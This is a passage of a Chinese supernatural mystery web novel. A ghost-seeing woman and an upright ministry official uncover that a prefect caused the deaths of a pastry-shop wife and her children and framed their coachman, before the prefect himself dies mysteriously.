只见这“文庐”竟比自己的任宅还要简陋,放眼望去,一丛疏竹,三间屋舍,可谓一眼望穿。
他问:“既病了,为何不请大夫回来,而自己跑一趟?”
侍僮回道:“我家主人是旧疾,求的是一位山中老仙医,仙医不世出,所以,主人每个月都要去一趟。”
“是吗?”任风玦面上浮起一丝冷笑,又问:“那什么时候回来?”
“至少也要天黑后,或许,会到天明。”
这意思是,今日多半是见不着了。
看来,他已经知道自己要找上门了。
任风玦直言道:“那等你家主人回来,烦请告知一声,仁宣侯府的人来过,想见穆侍郎一面。”
侍僮立即应了。
阿夏低声问:“公子,这穆铮早不出门,晚不出门,偏偏巧到这个时候出门,是不是早已料到…”
任风玦又看了宅子一眼:“无妨,余琅南下之事,必然已传到他的耳中。”
“是不是做贼心虚,等到明日就知道了。”
再给他一天时间也无妨。
阿夏问:“那公子现下是直接去衙门?”
任风玦想了一下,却不知道为何会想到夏熙墨。
直觉告诉他,她昨日问颜正初的那些问题,绝非偶然。
大抵是发生了什么。
“去东市。”
——
东市后巷,周宅门前。
四名衙役正围堵在门口,两旁站着看热闹的人群。
“周疯子真的**?”
“是啊,是小乞丐六儿发现的,说是七窍流血,死得极其可怕…”
“啊?怎么会这样?”
议论声在人群之中散开。
人群之外的夏熙墨却皱了一下眉头。
七窍流血。
与昨夜梦境一致。
看来,确实是出事了?
这时,衙门的人已将尸体抬了出来。
随之走出来的是一位捕头和一名乞丐。
“六儿…”
“在!”
“跟我走一趟衙门,交代一下事情的经过吧。”
捕头说着,就朝一旁的捕快使了眼色。
六儿生怕自己去了衙门会被当成嫌犯抓起来,吓得瑟瑟发抖。
“陈捕头,该说的我刚刚已经跟您说了,尸体确实是我看到的,但绝对不关我的事啊!”
那陈捕头挑了一下眉,“例行公事而已,况且这宅中目前只有你一人进去过,你确实该跟我去一趟衙门。”
“这不对啊!人不是我杀的,我只是想进去看看是不是真有十锭金子…”
“事实证明,一个疯子的话又怎么能信?”
六儿一脸惊恐,“我不能去!”
挣扎间,他瞥见人群之后有一道熟悉身影,眼睛忽然一亮:“捕头!我知道凶手是谁了!”
他指向夏熙墨,斩钉截铁说道:“昨日,我亲眼看见她跟在周子规身后进了这间宅子,我当时还劝她,让她别进去。”
“可她非但不听,还拿鬼魂之事恐吓我!”
“我看她就是为了那十锭金子的事,恼羞成怒杀了周疯子!”
此言一出,众人的目光纷纷转向身后女子。
陈捕头也回过头来,但远远望去,只见那女子身形单薄,仿佛脆得像个纸片人,又哪里具备行凶的能力?
他正要斥责乞丐胡言,不料那女子竟默默朝着这边走了过来。
离得近了,女子的容貌才能看清。
是个颇为眉清目秀的姑娘,但那张脸冷若冰霜,看着教人心里直发怵。
不等陈捕头开口,夏熙墨倒率先出声了。
“让我看下尸体。”
这胆大包天的话,让在衙门当了十几年差的陈捕头都忍不住一噎。
看尸体?
什么人敢随意说这种话?
“公家
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办事,哪容闲杂人等插手?”
陈捕头身躯高大威猛,如山一般立在她的跟前,又厉声喝道:“若这小乞丐所言属实,姑娘昨日确实来过此处,那便一并前往衙门,将事情交代清楚!”
夏熙墨冷冷看了他一眼,丝毫不惧什么官威,并说了一句别有深意的话。
“你们若真能查出什么,他也不至于会死。”
“大胆!”
对于这种藐视官府的行为,陈捕头彻底怒了,当即吩咐另外两名捕快:“把这个女人给我抓起来,一并带回衙门!”
捕快得令,正要上前。
夏熙墨垂在身侧的手悄悄动了动,两名捕快立即如同被点了穴道一般,脚下丝毫动弹不得。
忽有一阵阴风平地而起,掀开了担架上的遮尸布。
一具死状极其可怕的尸体,暴露在众人视线之下。
灯魂无忧飘到周子规尸体旁边,来回嗅了嗅。
“奇怪,人死在这里,怎么魂魄却不见了?”
夏熙墨也朝尸体看了一眼。
与她梦中情形一致。
难道,是他在死前,魂魄短暂闯入了自己的梦里?
陈捕头见两名属下呆立在原地不动,上前直接踹了一脚。
“愣了干什么?给我抓人啊!”
捕快们却一脸惊恐:“捕头,我们手脚动不了!这女的…她多半会妖术!”
陈捕头骇然,正要拔出腰间长刀,却也被一道冰冷的眼神吓得心下一凛。
夏熙墨扫了那捕头一眼,转身朝宅中走去,一时竟无人敢上前去阻拦。
而随着她进了宅院,定在原地的两名捕快,手脚才慢慢恢复了知觉。
众人面面相觑。
陈捕头已知这女子古怪,再不敢贸然出手,便向下属令道:“回衙门,把其他人都喊过来,我瞧这女人多半就是凶手!”
“是!”
捕头一声令下,人群四散开。
不多时,一班捕快便相继来到了周宅门前,声势浩荡,并将四下里围得水泄不通。
陈捕头心下有了底气,只待生擒凶手,身后却传来一道清朗的声音:“慢着!”
他不悦回头,一口怒气欲要喷薄而出,却腿脚一软,泄了下去。
“任…任大人!您怎么来了?”
第66章 鬼妻
夏熙墨入宅院,推房门,径自走向正屋室内。
角落里的游魂,闻声吓得后缩。
她也不废话,冷冷启唇问:“他是**的?你应该清楚。”
那游魂不语,反而幽幽哭了起来。
夏熙墨蹙眉:“人**,哭有用?”
游魂呜咽着:“是我,是我害**他…”
“知道就好。”
夏熙墨扫了一眼破旧的屋子。
值钱的东西像是早被洗劫一空,桌上正放着不知残留了多少日的羹饭。
窗是封死的,几乎不见天日。
很难想象,一个活人竟在这样的环境下活了半年。
“昨晚到底发生了什么?”
昨日所见,周子规身上的阴气确实过重,随时会有“离魂”的危险。
可他毕竟阳寿未尽,“生魂”就算离了体,或许会短暂失去生命体征,却不会立即死去。
他的魂魄,更不敢随意离开这间宅院。
可现在,他的确**。
死状凄惨,且是枉死。
角落里的游魂慢慢收住哭声,现出了一个女子的原形,这才慢慢说道:“昨晚…有人闯入了院子。”
“人?”
“不,那不是人,是…恶鬼!”
游魂柳氏声音颤抖,面上也满是惊惧之意。
夏熙墨眸色沉了几分,“说清楚。”
想到丈夫之死,柳氏又伤心不已,这才慢慢讲述昨晚经历。
“昨晚,子时左右…”
周子规被一阵敲门声吵醒了。
周家宅门已好些时日无人敢踏入,就算是小偷贼盗,也开始对此避而远之。
所以,这道敲门声,在夜里听来,无比突兀。
周子规还是起了身,他踉踉跄跄走到门前问:“谁?”
门外之人,冷声道:“借一样东西。”
“我这里没有东西可借,你快走吧。”
闻声,门外果然没了动静。
周子规转身欲走,但借着月色,却见自己脚下居然多了一道影子。
他猛然回头,竟是一张没有脸的怪物漂浮在身后,吓得他原本便摇摇欲坠的魂魄,顿时弹了出去。
然而,那怪物却紧盯着他的魂魄,伸出手掌,轻而易举便擒住了它。
生魂离体本就脆弱,根本没有反抗余地。
只听怪物狞笑一声,张开一张血盆大口,直接将魂魄吞了进去。
听到这里,夏熙墨眼底也起了微澜。
“吃魂魄的怪物?”
柳氏点头,“千真万确。”
看来这上京城,并不似表面上那般平静。
阴邪之物,倒还挺多。
夏熙墨继续问:“昨日,你丈夫想让我帮忙找出杀害你的真凶,你为何不愿?”
面对这个问题,柳氏似是犹豫,并未立即作答。
良久过后,她又叹了口气。
“杀我之人,是一个…我们得罪不起的大人物。”
“我知道,我若告诉夫君,他必会不顾性命,也要杀了对方替我们报仇。”
“可是…我不想他死,我想让他好好活着啊。”
听了这话,夏熙墨却嗤了一声,“可你好好看看,他这样活着,与**又有什么分别?”
“不,你不懂!”
柳氏提声反驳她:“我看你还年轻,未嫁过人,也必没有爱慕之人,自然不会懂,与心爱之人,生离死别的痛苦…”
那日,周子规与一群衙役在崖下找到了他们母子三人的尸体。
她与孩子的魂魄便漂浮在一旁。
可周子规根本看不见它们。
孩子们急得哇哇大哭,“我要找爹爹,爹爹为何不应我?”
柳氏不知该如何解释,何为生,何为死,何为人鬼殊途。
它们只能跟随在丈夫身后,望着他悲痛欲绝的样子。
公堂之下,车夫阿达揽下所有罪责。
周子规情绪失控,上前揪住他的衣襟:“你这个禽兽!你还我娘子,还我孩子!”
她上前想要抓住夫君的手臂,魂体却什么也抓不住,只能在旁边无助嘶喊:“不是他,凶手不是他啊!”
可没人能听得见。
她只能看着身为替罪羊的阿达被衙役们押着入狱。
案件看似圆满了结了,周子规却如行尸走肉一般回到家中。
他开始躺在床上,不吃不喝,不理世事,整个人也空落落的,如同失了魂。
柳氏看着他日渐憔悴的样子,只能带着孩子的魂魄在旁边守着。
“夫君,你一定不能有事…”
“你要好好活着。”
“杀我们的凶手不是阿达,他们抓错人了!”
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她日日在他耳边念叨。
也不知过了多少日,饿得奄奄一息的周子规,忽然睁开了眼睛。
他费力唤了一声,“娘子,是你吗?我听见你的声音了。”
柳氏惊喜不已,忙回道:“是我…夫君!”
周子规立即坐起身,室内没有人影,却有妻子的声音。
他问:“为什么我看不见你?娘子,我好想再看看你,见见你和孩子!”
柳氏心下凄然:“夫君,我们已经**…”
周子规并不觉得害怕。
多日的相思之苦啊,即便是鬼,又如何呢?
他还是迫切想要见他们,“娘子,你刚刚说,杀你们的凶手不是阿达!那真正的凶手是谁?我要替你们报仇!”
柳氏本想说出那个名字,但看见如此憔悴的周子规,实在害怕他以卵击石,白送了性命。
“我不能说,我们报不了仇的。”
周子规怒道:“**偿命,天经地义!”
柳氏轻叹。
这话虽没错。
可自古以来,在绝对权势面前,人命便如同草芥。
**便是**。
偿不了命,又如何偿命?
“我不想让他报仇,所以,我不肯说。”
柳氏一手揪紧衣袖,显然内心也很挣扎,她继续说道:“那以后,夫君才开始振作了一些,却依然不肯出门。”
“他怕他出门之后再回来,便听不见我的声音…”
“我向他承诺,我不会走,他这才肯偶尔出门一趟,采买食物。”
“外面的人开始传言,说他疯了,可只有我知道,夫君待我之心,即便我是鬼,也未曾变过。”
“我们以这种方式朝夕相处着,奇怪的是,又过了一段时间后,他逐渐能看到我了…”
夏熙墨这才理解颜正初所说的那句话——濒死之际的人,若与魂魄心意相通,便能打破阴与阳之间的结界。
她确实不懂这样的情感。
当然,也不屑于懂。
她正要问,杀死他们母子三人的真凶,究竟是何人时。
门外却传来脚步声,游魂立即应声而散。
夏熙墨已感受到了那股纯阳之气,她走向门前,堵住房门,不悦望向门外之人,冷冷说道:“任风玦,鬼都被你吓跑了。”
第67章 默契
门外,站着不止任风玦一人。
在他身后,陈捕头手握刀柄,领着一班捕快,一心想要护任大人安危。
然而,听到这样一句话时,差点没惊掉下巴。
偏偏任风玦竟像没事人一样,说道:“原来真是夏姑娘在这里。”
他们俩真认识?
陈捕头腿脚更软了。
转念又想,这女人还敢直呼小侯爷的名讳,足见二人关系不一般。
他也是反应极快,立即拱手道:“原来姑娘真是任大人的人,方才实在是误会了。”
夏熙墨冷然道:“我不是他的人。”
“……”
陈捕头冷汗津津,这话还真不知道该怎么接。
任风玦却不解释,只问:“我路过此地,见这宅主人死得蹊跷,夏姑娘可是发现了什么线索?”
这话明显就是在给她找台阶下。
但夏熙墨只是瞥了陈捕头一眼,也不回话。
陈捕头心想,通常这样的案子先是由当区邢捕房接管,之后再上报衙署,由县令指示。
若案件重大,难以侦破,抑或是牵连甚广,衙署办不下的情况,才会一层层上报,直至抵达三法司。
眼下惊动了任侍郎这样的大人物已是头疼,又岂能让一个黄毛丫头干涉此事?
让县令知道,必然受骂。
于是,为了证明东区邢捕不是一群吃干饭的,他立即上前一步,回道:“大人,方才我们已经验过尸了,初步判断,应该是**身亡。”
任风玦也看过尸体,他没反驳,直接顺着他的话说道:“七窍流血,确实像是毒侵脏腑所致。”
又问:“验出中的什么毒?”
陈捕头稍微慌了一下,“这个尚未查出,只怕要先将尸体带回衙门,让仵作细验。”
任风玦知道规矩。
这事,确实不宜现在插手。
“既如此,你们便按照衙署的办案规矩来。”
听了这话,陈捕头心下稍缓,却也不敢有一丝一毫的松懈。
任风玦没有直接干涉,可不代表他就不管了。
谁不知道“活阎罗”铁面无私,根本不可能放过任何凶案。
他心里压力颇大,面上又不敢流露出分毫,一声令下。
“做事!”
捕快们立即四散开,开始在宅中搜罗起来。
任风玦则将双手负在身后,望着面前的夏熙墨,直接问道:“夏姑娘昨日问颜道长的那番话,想必与这宅子有关吧?”
夏熙墨淡应了一声。
“那眼下有何高见?”
他知道,对方肯定不会无故说那样一番话,更不会毫无理由出现在这里。
而这种事情,与其问“活人”,倒不如问“**”来得快。
夏熙墨道:“昨日之前,这宅子里只藏了一件****。”
“但现在,是两件。”
“且第二件,更为棘手。”
任风玦有些意外,他似乎并不知道这事,回头看了一眼不远处正招呼手下查案的陈捕头。
对方察觉到他的目光,当即小跑了过来。
“任大人有何指示?”
任风玦问:“这宅子此前可曾发生过凶案?”
陈捕头立即摇头:“不曾啊,卑职在东区当差十几年,对于凶案,肯定…”
“鄢县。”
一旁夏熙墨冷冷打断了他,“这宅中女主人,是鄢县人。”
陈捕头当即一凛,“想起来了。”
他一拍脑袋:“这案子曾发生在鄢县管辖之内,是由鄢县衙署经手的。”
“但案件早在半年前就结了,凶手伏法后判了**,现在京中地牢关押着,大概过几日便要行刑了。”
这么一说,任风玦倒有一丝印象,当时为关跃口述,案子卷宗也是由他来审批。
自己并未干预。
难道…
陈捕头悄悄看了一眼任大人的脸色,心想,好在这事不是发生在京中。
不然,还真撇不清关系。
“好了,我知道了。”
陈捕头走开后,任风玦又看向夏熙墨,细细推测:“夏姑娘说是‘**’,那想必真凶并未伏法。”
“不错。”
夏熙墨说着,掠了他一眼,隐隐有责怪之嫌。
任风玦立即联想到她刚刚说的那句话——把鬼都吓跑了。
他不禁垂眸一笑。
“看来这事确实要怪我。”
夏熙墨没接话,只道:“对付‘活人’,我想你
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自有办法。”
任风玦一点就通,“此事我来。”
这话说完,两人都微微顿住。
好似悄然形成了一种妙不可言的默契。
夏熙墨心下也是一阵怪异。
她自知言尽于此,转身就要走。
任风玦却立即跟上她。
“关于第二件,夏姑娘难道不透露?”
夏熙墨顿足稍微看了他一眼:“第二件,你只怕管不了。”
——
京中地牢,暗无天日。
几盏灯火在昏暗之中扑朔着。
当差狱卒正在昏昏欲睡,牢房内的囚犯也悄无声息。
一片沉寂。
忽然间,一阵脚步声从甬道内传来。
“刑部提人——李阿达何在?”
听见声音,狱卒猛然惊醒过来,当即站起身,“关…关郎中,您怎么来了?”
关跃亮出一道玉牌:“任大人有令,提审囚犯李阿达。”
玉牌乃是御赐,见此物如见圣上,相当于皇权特许的“尚方宝剑”。
狱卒当即跪在地上,忍不住问了一句:“李阿达之案不是已经了结了吗?任大人又为何…”
“放肆!”
关跃厉喝一声:“任大人行事,岂容你这小小狱卒置喙?速速将人提出来,晚了你可担当得起?”
闻言,狱卒忙不迭从地上起身,走到一道牢房门前,哆哆嗦嗦开了门。
囚犯李阿达正缩在角落,听见声音,还以为要拉自己去**,吓得当场屁滚尿流。
狱卒拿出狱鞭正要抽打,却被关跃拦住。
他走到李阿达跟前,故意提声说道:“刑部的任大人要见你,跟我走一趟吧。”
李阿达似乎有些茫然,“…任大人?”
关跃朝一旁使了眼色,两名衙役上前,直接押着他出了地牢。
一个时辰后,洗净身子并换了新衣服的李阿达被带进了刑部衙门公房。
他何曾想,接待自己的竟是一身干净温暖的衣服,以及一桌子美酒佳肴。
任大人坐在上座,朝他伸手示意:“李阿达,这些时日你在牢狱中受苦了,这些酒菜是用来特意招待你的。”
李阿达闻言,却吓得扑通一声,跪在了地上。
第68章 死囚
面对这样的“盛情款待”,阿达却吓得语无伦次。
“大人,我…我怎配…”
若“招待”自己的是一顿皮肉之苦,他只怕不会如此恐惧。
可偏偏是这种方式…
传闻的“活阎罗”对自己以礼相待,还要与自己一同用膳,怎会不怵?
任风玦佯装惊讶:“你这是何意?”
阿达吓得涕泪交加:“我…一个死囚犯,怎配与大人一同用膳…”
“此言差矣。”
任风玦伸手拿起白玉杯,亲自倒了一杯酒,放在他的跟前。
“人不是你杀的,你乃是替罪入狱,本官现下要为你洗脱罪名,还你清白之身。”
听他一番话,阿达抖得如同筛子,不知该如何作答。
任风玦又道:“坐。”
只有一个字,声量不高,语气甚至还很温和,却威慑力十足。
阿达不敢不从,可谓手脚并用,这才勉强扶上了桌。
面前的菜肴实在丰盛。
在地牢中关了半年,每日几乎只能用一些残羹。
最是饥寒交迫的那几日,他竟感到无比后悔,甚至默默祈求,上天能给自己一条活路。
此刻,就像是在梦里一样。
任风玦又示意他下筷。
“请。”
阿达只得战战兢兢拿起筷子,先是吃一口温软的米饭,接着,夹了一大块红烧肉。
任风玦微笑看着他,“这是醉华楼的酒菜,可还满意?”
阿达不敢点头,更不敢摇头。
那可是醉华楼啊,他活了半辈子都不曾去过一次。
这滋味,让他莫名涕零。
于是,将肉一股脑都往嘴里塞…
任风玦静静注视着他,看着他狼吞虎咽,如同风卷残云…
好了,时候该到了。
“李阿达。”
他唤了一声,接着,从一旁关跃手中拿来一只包袱,轻轻放在桌面上。
“这里有三十两银子与一身换洗衣物,吃完这顿饭,让关郎中送你出衙门。”
“昭告你‘无罪释放’的公文,本官也已经拟好了。”
“从此刻起,你不再是死囚犯,而是清白自由身。”
这番话说得诚恳自然,好似事实真是如此…
阿达却听得浑身一震,如梦初醒。
他哆嗦了一下,筷子也跟着掉在地上。
“大人,您…在开什么玩笑?”
任风玦面上笑意不减:“你把本官当什么人?怎会与你开玩笑?”
阿达当即跪在地上:“大人,我是死囚犯,我杀了人…”
“您不能就这么放了我…”
任风玦笑里带着寒意:“既如此,你与本官说说,你当日是如何杀的人?”
阿达立即交代:“当日,小人将那柳氏拖到一处树林里,欲要对她…行不轨之事!”
“她拼命叫喊挣扎,两个孩子也在旁边哭闹,我怕他们声音太大,被过路人听见,干脆就拿起旁边的石头,将他们活活砸死…”
“不对。”
任风玦缓缓摇头,“你当日供词,说的凶器不是石头,而是一根尖锐带刺的木头。”
阿达呆了呆。
任风玦又问:“你再想想,那木头扎了几下,柳氏才一命呜呼?”
“砸…砸了五六下,她当时头破血流…”
“又错了!”
任风玦声音逐渐森冷:“她头上没有伤口,她是被尖木扎穿了胸膛,失血过多而死。”
“怎么会?”
一瞬间,阿达开始陷入了混乱之中,他口中喃喃:“她就是被砸死的!”
“再想。”
任风玦声音语调愈发冰冷,同时,也极具威严:“她究竟是被扎死的,还是被砸死的?”
“砸…扎…”
阿达只觉得脑子一片空白。
那些曾在半年前交代过无数次的“供词”,开始被模糊。
慌张,错乱,惊恐,怀疑。
他已然分不清…
任风玦却不肯放过他,几乎一字一顿地说道:“你根本不是凶手。”
“我就是凶手!”
阿达匍匐在地,情绪失控,几乎嘶喊出声:“我就是凶手,大人,求您别问了,将我关回地牢里去…”
任风玦站起身来,慢慢走到他跟前来。
“本官现在正式问你,鄢县柳氏及一双儿女,究竟为何人所杀?”
“你究竟收了那人什么好处?竟甘愿揽下所有罪责,做他的替罪羊?”
“你若答了,本官可保你一条性命。”
“若是不答,现在便将你扔出刑部衙门,昭告天下。”
“届时,将会有什么下场,你应该比我更加清楚,对吧?”
阿达吓得面无血色。
既已走到这一步
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,他当然不怕死。
可比死更可怕的,是未知的恐惧。
他知道,若是自己被宣告无罪释放,“那位”也绝对不会放过自己。
更重要的,家人也会因此丧命。
他只有死,或死在刑场,或死于地牢,又或者…
心念一生,再无顾虑。
他拼命朝着一旁墙壁撞去,然而,预料的死亡并没有来,竟被身后一股力量提携着,整个人又往后飞了出去。
阿达重重摔在了地上,头晕眼花。
任风玦直接将他踩在脚下,并伸手扼住他的下巴,防止他咬舌。
“李阿达,在本官这里,你只有一个选择——那就是说出真相。”
“我任风玦一言九鼎,向你承诺,自是说到做到。”
“你能够信得过‘那人’,又何妨信我一次?”
阿达求死无望,又挣扎不得,望着面前一身清正之气的年轻男子,终究还是妥协了。
“我说…”
“杀死柳氏的人,是顺天知府——郑道远。”
“是他…以我一家老小性命要挟,让我背下罪名。”
“任大人,我**倒是无所谓,但我家人的性命,只能拜托给您了!”
任风玦松开手脚,当即向一旁关跃吩咐:“知道该怎么做了吧?”
关跃忙不迭:“下官明白,现在就去办。”
入夜,顺天知府府内,听幕僚带来京中地牢消息后,郑道远顿时一屁股跌坐在椅子上。
“完了,这事要是让任风玦知道,可就全完了啊。”
幕僚心下惴惴,“现下这种情况只能一不做二不休,找个可靠之人遣入刑部!”
郑道远心知除此之外,也别无他法,干脆挥了挥手。
“去做,做得干净点,他那一家子,也不能留活口。”
“是。”
幕僚走后,郑道远依然心神难定,开始在房中来回踱步。
忽然,房门又被人敲响了。
门外立着一道身影。
“谁?”
那人却不应声。
郑道远正是心烦意乱的时候,压根没多想,便上前一把打开房门。
然而,借着檐下灯光,他看到了一张熟悉且又诡异的脸庞。
“是…是你?”
语气里充满了不可置信。
来人勾唇一笑:“借你一样东西用用。”
第69章 暴毙
顺天知府郑道远暴毙的消息,在翌日一早就传到了任宅。
还是由余琅亲自登门告之。
而在余少卿登门之前,管家任丛也刚带来一则侯府消息。
中书侍郎穆铮于一早便拜访了仁宣侯府。
任瑄派人来问,小侯爷是否也要回去一趟。
两件事同时撞上,似是“不谋而合”,却又透着蹊跷。
略一思忖之下,任风玦还是推掉了前者,让任丛回话,今日暂且不回,改日再登门拜访。
眼下更重要的,是郑道远的死。
他正急着要出门,然而,刚要上马车时,又想起一事。
“稍候,我先去一趟东院。”
余琅不知“七日约定”之事,见任风玦急匆匆往东院客房去,不由得向阿夏打趣道:“你家公子何时起,竟与夏姑娘关系如此亲密?出门前都要报备?”
阿夏一噎,不知该怎么答。
暗自想了想,这话也不无道理。
小侯爷对这位夏姑娘确实是上心的。
任风玦一口气走到院门口,却迎面看见夏熙墨与颜正初并肩而来。
看样子,二人这是要一同出门去。
“夏姑娘。”
见到他,夏熙墨也有一丝意外。
任风玦又问:“二位这是要一同出去?”
“嗯。”
她淡应一声。
一旁的颜正初张了张嘴,正要开口说些什么,却被夏熙墨打断:“这事不必说与不相干的人听。”
“……”
任风玦后知后觉,自己如何就成了“不相干”的人?
心下掠过一丝不满。
夏熙墨问他:“有事吗?”
任风玦很快调整过来:“今日本是要兑现七日前的承诺,但眼下有一桩案子急需我去处理,所以,此事可否再稍缓两日…”
“嗯。”
夏熙墨倒应得爽快,又问他:“还有吗?”
任风玦原本也想跟她提一提鄢县柳氏之案,但话到嘴边,又莫名咽了下去。
“无事。”
夏熙墨看了他一眼,那眼神里似乎也多了几分探究,好似已感受到他情绪中的异样。
但最终,她也只是神色淡然地点了一下头。
任风玦再回到马车时,余琅一眼就看出了任大人神色有些不对。
那感觉,倒像是在夏姑娘那里吃了瘪…
该不会是吵架了吧?
但转念一想,又觉得不对,这两人的性子,怎么看都不像是能吵起来的…
他正想着怎么问话才合适,任风玦倒先开口了。
“余少卿是不是忘了有什么事要说?”
余琅几乎脱口而出,“啊对,正想问您是不是跟夏姑娘闹别扭了。”
“……”
任风玦凉凉地看了他一眼。
眼风里都感觉有刀。
余琅这才想到自己忘了正事,连忙改口:“下官失察,任大人恕罪!”
说着,他才轻咳一声,说起了郑道远在书房中暴毙之事。
尸体是在子时左右,仆人进房更换茶水时发现的。
“那仆人说,郑知府自入夜后便一直在书房中,中途也只有幕僚卢贤进去过一次。”
“后来房中一直没有动静,也并未听见知府要茶,仆人不敢擅自进去,直到过了子时,夜深了…”
“仆人不得不主动上前询问,只是唤了几声也无人应,但窗边确确实实有一道人影在。”
“仆人觉得不对劲,推门而入,结果,这郑知府就坐在书案边,面朝书架,已七窍流血而亡。”
听到这里,任风玦也吃了一惊。
“又是七窍流血?”
余琅应了一声,又疑惑道:“任大人的意思是,京中最近还有类似的案子?”
任风玦点头,“昨日在东市街巷后,发生了一起,而且…”
“这两起案子还隐隐有些关联。”
余琅面色一变,“竟还是连环**?”
“不仅如此,还与半年前的一桩旧案有关。”
“啊?”
案件牵扯太多,让余少卿一时之间都不知该从何捋起…
任风玦便又从头到尾,与他梳理了一遍事情的经过。
待余琅了解清楚后,郑道远的府邸也就到了。
关跃正侯在府门前,见到任侍郎的马车,连忙迎了上来。
任风玦问:“刑部那边如何?”
“大人猜得没错,昨晚确实有‘鱼’上钩。”
“那**被关入刑部大牢,还没来得及审,便招了。”
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“确实是郑道远,怕事情败露,想要**灭口。”
任风玦神色淡然,显然都在预料之中,又问:“李阿达家中情况如何?”
关跃说道:“都已提前安置了,无一人伤亡,还捉了两个活口。”
对此,任风玦才稍稍展眉。
“走吧,进去看看情况。”
府内幕僚卢贤已被作为“疑犯”,铐在厅中听候发落,下人们胆战心惊跪成一排。
而知府夫人王氏正在婢女搀扶之下,哭得难以自持。
但随着任风玦的到来,正厅内,却瞬间安静了下来。
王氏抽抽噎噎,“任大人,你可一定要…抓到凶手,为我夫报仇啊。”
任风玦朝她微微颔首:“夫人节哀。”
那卢贤看到任风玦的身影,腿脚软了软,立即跪在地上。
“任大人明鉴,知府大人的死,与我绝无关系啊。”
任风玦没应声,而是挑了一张离他最近的椅子,坐了下来。
管家亲自上前奉上茶水。
“卢贤,昨夜子时左右,你在何处?”
他一边问着话,目光不着痕迹在室内众人脸上掠了一圈。
卢贤回道:“子时左右…小人并不在府上,而是奉知府大人之命,出门办事去了。”
任风玦又问:“办的何事?”
卢贤知道,事情已经到了这个份儿上,隐瞒也无用。
索性一咬牙,硬着头皮说道:“奉知府大人之命,要灭了鄢县**案凶手李阿达,及一家之口!”
此言一出,王氏脸色大变,大声斥道:“卢贤…你在胡说什么?老爷怎会吩咐你做这种事?”
卢贤不敢与她对视,但为了替自己洗脱嫌疑,他也不敢保留,干脆道出实情。
“因为半年前,杀死鄢县母子三人的真正凶手,是郑知府…”
“他让李阿达顶罪入了狱,原以为,只要凶犯执了**,此事…便能瞒天过海。”
“怎料行刑之日将至,任大人忽然提审了李阿达…”
王氏气得浑身颤抖,不顾婢女阻拦,上前就给了卢贤一个响亮的耳光。
“你这个没良心的东西!老爷生前待你不薄,眼下尸骨未寒怎容许你这般诬蔑?”
第70章 旧事
王氏这一巴掌下来,力道极重,卢贤左脸瞬间多了一道清晰的巴掌印。
他跪在地上捂着脸,却朝任风玦脚边靠了靠:“任大人,我说的句句属实,绝不敢有半句欺瞒!”
任风玦看了身旁余琅一眼。
对方立即会意,并对立在一旁呆若木鸡的婢女说道:“还愣着作甚,要是知府夫人气坏身子,你们担当得起吗?”
婢女听罢,只得一齐上前,扶住王氏,拉着她往椅子上坐下来。
任风玦不动声色端起桌上热茶喝了一口,另一手轻敲桌面:“想必卢先生是知悉鄢县柳氏母子遇害经过的。”
“说说看,郑知府为何要对他们三人下手?”
卢贤就等他问,迫不及待将实情吐露:“这事要从一年前说起…”
一年前,郑道远在醉华楼赴宴喝酒时,偶然间惊鸿一瞥,被楼对面街市上一家糕点铺的娘子所吸引。
对方的一颦一笑,都像极了他那位十多年前就病逝的原配夫人——柳氏。
诚然,现在的王氏,是他入朝为官后,再娶的续弦夫人。
郑道远一眼望去,那笑靥便在脑海中挥之不去了,遣人去打听对方的身份后,更是吃了一惊。
对方竟也姓柳。
他以为这是上苍垂怜,特意降下的缘分,以弥补心中憾事。
于是,在明知柳氏已嫁作他人为妻的情况下,郑道远还是使了一些手段,让对方知道了自己的存在。
他隐瞒身份,总会在店铺无人的时候悄悄登门,以顾客的身份,将现有糕点统统买一份。
再趁机与柳氏说上几句话。
这一来二去,就成了熟客。
因他年长许多,柳氏便将他当作长辈来看,从一声“老爷”,到“郑叔”。
她总是语气亲切,笑颜如花。
一时间,让位高权重的知府大人,仿佛回到了寒窗苦读时,原配妻子在他耳旁嘘寒问暖的日子。
渐渐的,他不再满足于此。
他迫切想要将这位温良贤淑的女子带回家去,藏于后宅之中。
可“强占民妻”绝非他一个正四品的官员所能为,况且,在百姓眼里,他还是一个作风清正的好官。
于是,在得知柳氏带着儿女回鄢县娘家探亲之事后,他设了一计,买通周家车夫李阿达。
在回京路上,阿达用迷烟将母子三人迷晕,并直接送往了郑道远预先准备好的宅子里。
他本想先切断柳氏与外界的所有往来,再慢慢将她当作“金丝雀”一般圈养起来。
等时日一长,她享受到了荣华富贵,也明白了自己“用情至深”,自然就甘愿臣服于他。
虽计划如此,可他实在太过心急,几乎一刻也等不了。
当晚,郑道远便迫不及待向柳氏袒露了自己顺天府知府的身份与意图。
可柳氏得知后,不但不从,还口口声声说着此生只认周子规一人为夫君…
这让郑道远感到无比的挫败与愤怒!
他堂堂知府,怎能被一个平民女子拒绝?
那一刻,再顾不上什么礼数,也忘了所谓的计划。
心里只有一件事——他要得到她!
只是,他终究低估了柳氏的贞烈,以及她对丈夫周子规的感情。
所以,在郑道远步步相逼的情况下,她直接抱紧一双儿女,跳窗而逃。
可她并不知道,窗外是一片湖。
为防止她逃跑,郑道远故意先将她安排在临湖的水榭内。
冬日湖水冰凉,深不见底,且又是黑夜,人跳下去不及打捞,很快便没了声息。
三具尸体被捞起来后,郑道远心下也一片冰凉。
大错酿成,索性便将错就错了。
他命人给尸体换了干净的衣衫,让车夫阿达半夜里将尸体从鄢县回京的山崖上扔下。
之后,一切顺理成章。
周子规报官后找到尸体,车夫阿达被捕入狱。
鄢县上下早经打点,那负责验尸的仵作收了重金,自然也就跟着阿达的供词一起,糊弄了过去。
原以为这样就能不着痕迹,瞒天过海。
可谁承想,已结的案子,竟又被翻了出来。
郑道远只怕到死,都想不明白,究竟是谁从中泄了密…
听卢贤讲完整件案子的经过,厅内众人面色各异。
唯有王氏,因难以置信自己向来敬重的丈夫,会做出这种事,一时情绪过激,竟气得当场晕厥,被婢女们搀扶了下去。
任风玦面色也不好看,心中
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也有怒意。
皇城脚下,发生这样的案子,竟因一名正四品的官员而起,实在为朝堂耻辱。
“你方才所言,会作为证供,载入卷宗,若有虚假或隐瞒之处,你当知道后果?”
他这么说,卢贤一听就明白,连忙跪在地上磕一个响头,“小人所言,句句属实,若有虚假或隐瞒,任凭大人处置!”
任风玦又问:“那郑道远夜里暴毙于书房,你当真一点都不知情?”
卢贤回道:“小人当时奉命出门办事,是戌时左右,一直到今早才回府上,门房与下人皆可作证。”
任风玦扫了一眼旁边的下人:“你们昨夜是谁在书房当的差?”
一名小厮战战兢兢走了出来,“回大人,是…我。”
